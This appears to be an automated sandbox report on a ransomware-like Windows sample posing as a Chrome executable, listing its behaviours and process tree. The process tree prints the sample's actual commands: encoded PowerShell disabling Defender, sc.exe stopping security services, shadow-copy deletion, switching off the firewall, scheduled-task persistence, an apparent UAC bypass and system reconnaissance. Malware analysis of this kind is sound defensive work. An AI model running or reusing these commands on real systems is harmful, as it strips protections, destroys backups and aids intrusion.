Analysis
- max time kernel
5s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
04/05/2026, 07:45
General
- Target kungfumusic.com_chromes.exe
- Size 50KB
- Sample260504-jletksd191
- SHA256 57b507718048d3d97a0c6c5c536df0b5d64b3189026910b251616be13b16b163
Score
10/10
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies security service 2 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables service(s) 3 TTPs
- Stops running service(s) 4 TTPs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies registry class 6 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 18 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe"C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe"1⤵
- Modifies security service
- Drops file in Drivers directory
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://kungfumusic.com2⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdc4c9c728,0x7ffdc4c9c734,0x7ffdc4c9c7403⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,871128606625423576,8821322301592633202,262144 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1980 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,970269405794313636,7080713391573716793,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2268 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,10886758829170466891,723228528966007896,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2376 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3116,i,5296495715355791812,2191035703340256376,2097152 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3140 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,17680288147617937193,1427380266934233777,2097152 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3160 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4404,i,14221568093030805956,14744198815716154460,2097152 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4408 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5176,i,14551814465931009353,9083927859991679115,2097152 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5184 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,9447948905224608910,6906864563162774211,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5612 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3476,i,236770997800344469,6789536483024268134,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3448 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5616,i,16387083127725916071,1149524016560119640,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5624 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3444,i,14255472636260598620,1374812538272853273,524288 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5628 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3888,i,1447413925769049543,9902544317932648012,262144 --field-trial-handle=1984,i,5840035384315089609,1692339467794533702,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4436 /prefetch:83⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe"C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe"3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
-
C:\Windows\system32\whoami.exewhoami3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
-
C:\Windows\system32\net.exenet user3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exeC:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exeC:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
invoice_1.pdf
doc_3.pdf
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
History
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Preferences
Secure Preferences
index.txt
index.txt~RFe593dda.TMP
the-real-index
the-real-index
the-real-index
the-real-index~RFe5876e1.TMP
Web Data
Local State
Local State
Local State
Local State
kungfumusic.com_chromes.exe.log
__PSScriptPolicyTest_n2ntfzgc.mjs.ps1
createshortcut.vbs
del.bat
makelnk.vbs
temp_steal.log
DecryptAllFiles.exe
stolen_data_here.txt
hosts
hosts
hosts
memory/1236-2531-0x0000022203250000-0x00000222032F9000-memory.dmp
memory/1236-2493-0x0000022203230000-0x0000022203231000-memory.dmp
memory/1712-2581-0x0000025B4BF50000-0x0000025B4BFF9000-memory.dmp
memory/3380-106-0x000001D28EBC0000-0x000001D28EC69000-memory.dmp
memory/3480-2587-0x00000240DA4F0000-0x00000240DA4FC000-memory.dmp
memory/3480-101-0x00000240D8B40000-0x00000240D8BE9000-memory.dmp
memory/3480-102-0x00000240DA4F0000-0x00000240DA4FC000-memory.dmp
memory/3480-58-0x00000240F2BB0000-0x00000240F2BD2000-memory.dmp
memory/3480-2586-0x00000240D8B40000-0x00000240D8BE9000-memory.dmp
memory/3896-2589-0x00000165BB4B0000-0x00000165BB559000-memory.dmp
memory/4244-2450-0x000001D58D9D0000-0x000001D58D9DC000-memory.dmp
memory/4244-2449-0x000001D58D920000-0x000001D58D9C9000-memory.dmp
memory/4420-489-0x000001FA154A0000-0x000001FA15549000-memory.dmp
memory/4928-0-0x00000000004C0000-0x00000000004D2000-memory.dmp
memory/4928-2504-0x0000000000D40000-0x0000000000D4C000-memory.dmp
memory/4928-108-0x000000001B1D0000-0x000000001B1E0000-memory.dmp
memory/4928-57-0x000000001AF80000-0x000000001B029000-memory.dmp
memory/4928-1-0x000000001B1D0000-0x000000001B1E0000-memory.dmp
memory/5436-128-0x00000215ECAB0000-0x00000215ECB59000-memory.dmp
memory/5536-2601-0x0000020DCE640000-0x0000020DCE6E9000-memory.dmp
memory/5556-775-0x0000023FE2720000-0x0000023FE27C9000-memory.dmp
memory/5556-378-0x0000023FE2720000-0x0000023FE27C9000-memory.dmp
memory/5604-2509-0x000001D21F0A0000-0x000001D21F149000-memory.dmp
memory/5884-2574-0x000001C2412B0000-0x000001C2412BC000-memory.dmp
memory/5884-2573-0x000001C2429E0000-0x000001C242A89000-memory.dmp